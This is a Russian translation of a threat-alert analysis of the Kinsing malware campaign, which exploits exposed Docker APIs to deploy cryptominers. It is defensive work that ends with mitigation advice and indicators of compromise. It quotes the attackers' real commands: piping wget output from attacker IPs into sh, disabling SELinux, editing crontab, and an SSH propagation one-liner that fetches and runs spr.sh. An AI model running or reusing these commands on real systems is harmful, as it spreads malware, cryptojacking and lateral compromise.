На сегодняшний день, автоматизация и универсализация нарастают и применение контейнеров как компонентов информационных систем становится вполне обыденной ситуацией. Мы сделали перевод статьи «Threat Alert: Kinsing Malware Attacks Targeting Container Environments» ниже для того чтобы показать, что инфраструктура контейнеров является точно такой же целью для атакующих как любой другой традиционный компонент инфраструктуры.
1. Разбор целевой атаки на Docker-инфраструктуру
3. Обход средств защиты и закрепление в системе
6. Обнаружение и горизонтальное распространение
7. Заключение
Учитывая новизну и крайне слабую защиту контейнеров или вообще отсутствие таковой, атаки на них с более высокой вероятностью могут принести атакующему успех в реализации атаки и проникновение во внутрь компании, за периметр защиты.
Разбор целевой атаки на Docker-инфраструктуру
В последнее время наблюдается рост числа атак, направленных на контейнерные среды. Можно говорить, что прослеживается полноценная вредоносная кампания, нацеленная на неправильно настроенные незащищенные API Docker. Рассматриваемая атака продолжается уже несколько месяцев, и тысячи попыток совершаются почти ежедневно. Это самые высокие показатели, намного превышающие те, что можно было наблюдать до сегодняшнего дня. Вероятнее всего, эти атаки направляются субъектами, обладающими достаточными ресурсами и инфраструктурой, необходимой для осуществления и поддержки таких атак, и едва ли это импровизированные попытки. Ниже приведён график, показывает количество атак по дням.
Рисунок 1 Распределение количества регистрируемых атак на API Docker по дням
В этой вредоносной кампании злоумышленники используют неправильно настроенный порт API Docker для запуска контейнера Ubuntu с вредоносным ПО, которое, в свою очередь, запускает процесс майнинга криптовалюты, а затем пытается распространить вредоносное ПО на другие контейнеры и хосты. Разбор этой атаки, разобранный ниже, раскрывает используемые методы, начиная с эксплуатации открытого порта, с помощью тактики внедрения и горизонтального распространения, вплоть до конечной цели развертывания криптомайнера.
Как начинается атака
Используя незащищенный открытый порт Docker API, злоумышленники могут запустить экземпляр контейнера Ubuntu с использованием следующей команды:
/bin/bash -c apt-get update && apt-get install -y wget cron; service cron start; wget -q -O - 142.44.191.122/d.sh | sh; tail -f /dev/null
Эту команду можно увидеть в каждой атаке в этой кампании, единственное изменение - это IP-адрес, с которого загружается скрипт d.sh. Всего встречались 3 IP-адреса - тот, что в приведенном выше примере, 217.12.221.244 и 185.92.74.42. Приведенная выше команда выполняет следующие действия:
- Обновление пакетов с помощью команды apt-get
- Установка wget с помощью apt-get
- Запуск службы cron.
- Загрузка скрипта с помощью только что установленного wget.
- Запуск скрипта и бесконечный цикл чтения файла /dev/null, чтобы контейнер не приостанавливал свою работу.
Видно, что при помощи wget был загружен скрипт и помещен в cron. Данный скрипт будет позже использован для того, чтобы поддерживать работоспособность в рамках запущенного контейнера.
Обход средств защиты и закрепление в системе
Скрипт d. sh, именуемый в дальнейшем «скрипт», содержит более 600 строк. Далее выполняются следующие действия:
- Скрипт отключает меры безопасности и очищает журналы: echo SELINUX=disabled >/etc/selinux/config
- Останавливает большинство приложений, в особенности другие обнаруженные вредоносные программы и криптомайнеры
- Удаляет файлы, связанные с другими вредоносными программами и криптомайнерами, большинство из которых находится в каталоге /tmp
- Останавливает запущенные конкурирующие вредоносные контейнеры Docker и удаляет их образы из локального репозитория.
- Загружает вредоносное ПО «kinsing» и запускает его.
- Использует crontab для загрузки и запуска скрипта каждую минуту
- Ищет другие команды, запущенные при помощи cron, и, если находит — удаляет все задания cron, включая свои собственные. Сценарий выполняется следующим образом:
crontab -l | sed '/update.sh/d' | crontab –
Запуск Kinsing
Kinsing – это Linux-агент, идентифицируемый сервисом Virus Total (см. Рисунок 2), далее будем называть вредоносное ПО как «Kinsing».
Рисунок 2 Определение ПО kinsing как malware
- go-resty - клиентскую библиотеку HTTP и REST, используемую для связи с C&C-сервером.
- gopsutil - библиотеку, используемую для мониторинга системы и её процессов.
- osext - расширение стандартного пакета «os», используемого для запуска двоичных файлов.
- diskv - хранилище значений ключей на диске.
Связь с серверами C&C
Прежде чем вредоносная программа приступила к закреплению себя в системе, она пыталась установить связь с серверами в Восточной Европе. Похоже, что для каждой функции, которую выполняет вредоносная программа, есть выделенные серверы:- Попытка установить соединение со следующим IP-адресом: 45.10.88.102. Попытки неудачны, поскольку сервер не отвечает.
- Соединение с адресом 91.215.169.111, который является основным сервером C&C в данной кампании. Вредоносная программа связывается с этим сервером через порт HTTP 80 и отправляет небольшие зашифрованные сообщения через регулярные интервалы каждые несколько секунд.
- Подключение к серверу с адресом 217.12.221.244/spre.sh, который, как мы предполагаем, обозначает дозагрузку необходимых компонентов, как мы увидим в следующем абзаце, для загрузки скрипта, используемого для целей горизонтального распространения в сети.
- Подключение к серверу с адресом 193.33.87.219, для загрузки криптомайнера.
Обнаружение и горизонтальное распространение
Скрипт spre.sh, загружаемый основным загрузчиком используется для горизонтального распространения вредоноса через сетевой адаптер зараженного контейнера.
Для обнаружения потенциальных целей и сбора информации, при помощи которой на них необходимо аутентифицироваться – скрипт собирает информацию из конфигурационных файлов, таких как /.ssh/config, .bash_history, /.ssh/known_hosts и подобных им. В ходе разбора, не удалось выявить каких-либо активных методов сканирования, используемых для определения дополнительных целей.
Используя собранную информацию, вредоносная программа затем пытается подключиться по SSH к каждому найденному хосту, используя собранную ранее информацию, чтобы загрузить вышеупомянутый сценарий оболочки и запустить вредоносную программу на других хостах или контейнерах в сети.
На этот раз скрипт для запуска называется spr.sh, но он идентичен сценарию изначального скрипта d.sh, который использовался ранее в последовательности атак для первоначального заражения.
Для распространения ПО вредоносной программы по сети используется следующая команда:
ssh –o StrictHostKeyChecking=no –o BatchMode=yes –o ConnectTimeout=5 -i $key $user@$host -p$sshp "sudo curl -L http:// 217.12.221.244/spr.sh|sh; sudo wget -q -O - http:// 217.12.221.244/spr.sh|sh;"
В сценарии скрипта spr.sh был замечен цикл, приостанавливающий его работу на 20 секунд после 20 попыток подключения по SSH и очистку системных событий, что, возможно, указывает на то, что злоумышленники пытаются скрыть свои действия.
Рисунок 3 Скрипт spr.sh
Рисунок 4 Вердикт по файлу kdevtmpfsi
Криптомайнер подключается к хосту с IP-адресом 193.33.87.219, используя HTTP-запрос, получает дальнейшие инструкции и начинает майнинг криптовалюты.
Приведенная ниже инфографика (см. Рисунок 5) иллюстрирует весь ход атаки:
Рисунок 5 Реализация шагов атаки
Заключение
Эта атака является еще одним примером растущей угрозы для облачных сред. С ростом масштабов развертывания и ростом использования контейнеров злоумышленники всё чаще используют их для своих целей и проводят более амбициозные атаки с растущим уровнем сложности.
Вот краткое описание составных компонентов атаки, сопоставляющих каждый компонент атаки с соответствующей категорией тактики и техники MITRE Att&ck:
Рисунок 6 Разбор атаки по базе MITRE Att&ck
- Знайте все облачные ресурсы и сгруппируйте их по логической структуре.
- Просмотрите политики авторизации и аутентификации, основные политики безопасности и настройте их в соответствии с применением принципа ограничения привилегий.
- Сканируйте docker-образы, которые вы используете, чтобы убедиться, что вы понимаете их состав и поведение. Можно использовать сканеры уязвимостей для контейнеров.
- Исследуйте журналы системных событий, в основном стоит сделать упор вокруг действий пользователя, ищите действия, которые вы не можете объяснить и считаете подозрительными.
- Сформируйте стратегию безопасности, в которой вы сможете легко применять собственную политику безопасности, подумайте об использовании инструментов облачной безопасности, которые расширят ваши возможности и охват ваших облачных ресурсов.
- Рекомендуется заблокировать доступ к следующим URL-адресам и индикаторам компрометации:
http:// 142.44.191.122/d.sh
http:// 142.44.191.122/kinsing/ http:// 142.44.191.122/al.sh http:// 142.44.191.122/cron.sh http:// 142.44.191.122/ http:// 142.44.191.122/kinsing http:// 142.44.191.122/ex.sh http:// 185.92.74.42/w.sh http:// 185.92.74.42/d.sh http:// 217.12.221.244/ http:// 217.12.221.24/d.sh http:// 217.12.221.244/kinsing http:// 217.12.221.244/j.sh http:// 217.12.221.244/t.sh http:// 217.12.221.244/spr.sh http:// 217.12.221.244/spre.sh http:// 217.12.221.244/p.sh http:// 217.12.221.244/Application.jar http:// 217.12.221.244/f.sh http:// www. traffclick.ru/ http:// www. mechta-dachnika-tut.ru http:// www. rus-wintrillions-com.ru http:// rus-wintrillions-com.ru/ http:// stroitelnye-jekologicheskie-materialy2016.ru 45.10.88.102 91.215.169.111 193.33.87.219 MD5s: kinsing - 0d3b26a8c65cf25356399cc5936a7210 kinsing - 6bffa50350be7234071814181277ae79 kinsing - c4be7a3abc9f180d997dbb93937926ad kdevtmpfsi - d9011709dd3da2649ed30bf2be52b99e